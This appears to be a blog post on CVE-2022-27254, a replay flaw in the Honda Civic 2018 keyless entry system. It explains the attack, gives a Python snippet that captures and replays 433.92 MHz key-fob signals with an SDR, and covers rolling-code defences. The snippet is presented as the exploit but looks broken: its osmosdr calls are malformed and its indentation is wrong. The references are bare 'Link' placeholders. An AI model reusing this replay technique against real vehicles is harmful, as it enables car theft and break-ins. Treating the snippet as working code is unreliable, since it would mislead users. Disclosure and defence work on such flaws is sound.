CVE-2022-27254: Honda Civic 2018 Remote Keyless System Vulnerability

Automobile security has become a critical concern for manufacturers and consumers alike. One such vulnerability was recently discovered in Honda Civic 2018 vehicles, affecting their remote keyless systems (CVE-2022-27254). This vulnerability is closely related to CVE-2019-20626, another keyless system exploit. In this post, we will discuss Honda Civic 2018 vulnerability, the code snippet demonstrating the vulnerability, and links to the original references. We will also describe the exploit in detail and how to protect against it.

Exploit Details

The remote keyless system on Honda Civic 2018 vehicles is susceptible to replay attacks. The system sends the same RF (radio frequency) signal for each door-open request, allowing attackers to capture and replay this signal to gain unauthorized access to the car without the owner's knowledge.

Replay Attack

A replay attack is a form of attack where an attacker intercepts a valid RF signal and later replays it to the target system. This type of attack usually targets authentication systems where the same signal can be reused multiple times.

Code Snippet

The following Python code snippet demonstrates how to capture and replay an RF signal using a Software Defined Radio (SDR) device, such as HackRF or RTL-SDR.

import numpy as np
import osmosdr
import sys

# Setup SDR device
sdr = osmosdr.source("hackrf")
sdr.set_sample_rate(2e6)
sdr.set_freq_corr()
sdr.set_center_freq(433.92e6)

# Capture RF data
def capture_rf_data():
    samples = sdr.collect()
    np.save("rf_data.npy", samples)

# Replay RF data
def replay_rf_data():
    samples = np.load("rf_data.npy")
    sdr.transmit(samples)

if __name__ == "__main__":
    if sys.argv[1] == "capture":
capture_rf_data()
    elif sys.argv[1] == "replay":
replay_rf_data()

Note: This code snippet is for educational purposes only and should not be used maliciously.

Original References

1. Honda Civic 2018 Vulnerability Disclosure: Link
2. An explanation of Replay Attacks by NIST: Link
3. CVE-2019-20626 - General Motor Vehicles Key Fob Replay Attack Vulnerability: Link

Protection Against Replay Attacks

Manufacturers have implemented several security techniques to defend against replay attacks. One such method is the rolling code mechanism, where the transmitted RF signal changes with each door-open request. This technique makes it difficult for attackers to use a recorded signal to gain unauthorized entry. Another method is the use of cryptography to protect the transmitted signals, ensuring that only a legitimate key fob can generate valid signals.

Conclusion

Automobile security vulnerabilities continue to be a pressing concern for manufacturers and consumers. Raising awareness about such issues and sharing knowledge is essential in combating these threats and keeping our vehicles secure. By understanding the exploits and implementing necessary countermeasures, we can help protect ourselves and our automobiles from security breaches.

Timeline

Published on: 03/23/2022 22:15:00 UTC
Last modified on: 03/31/2022 20:28:00 UTC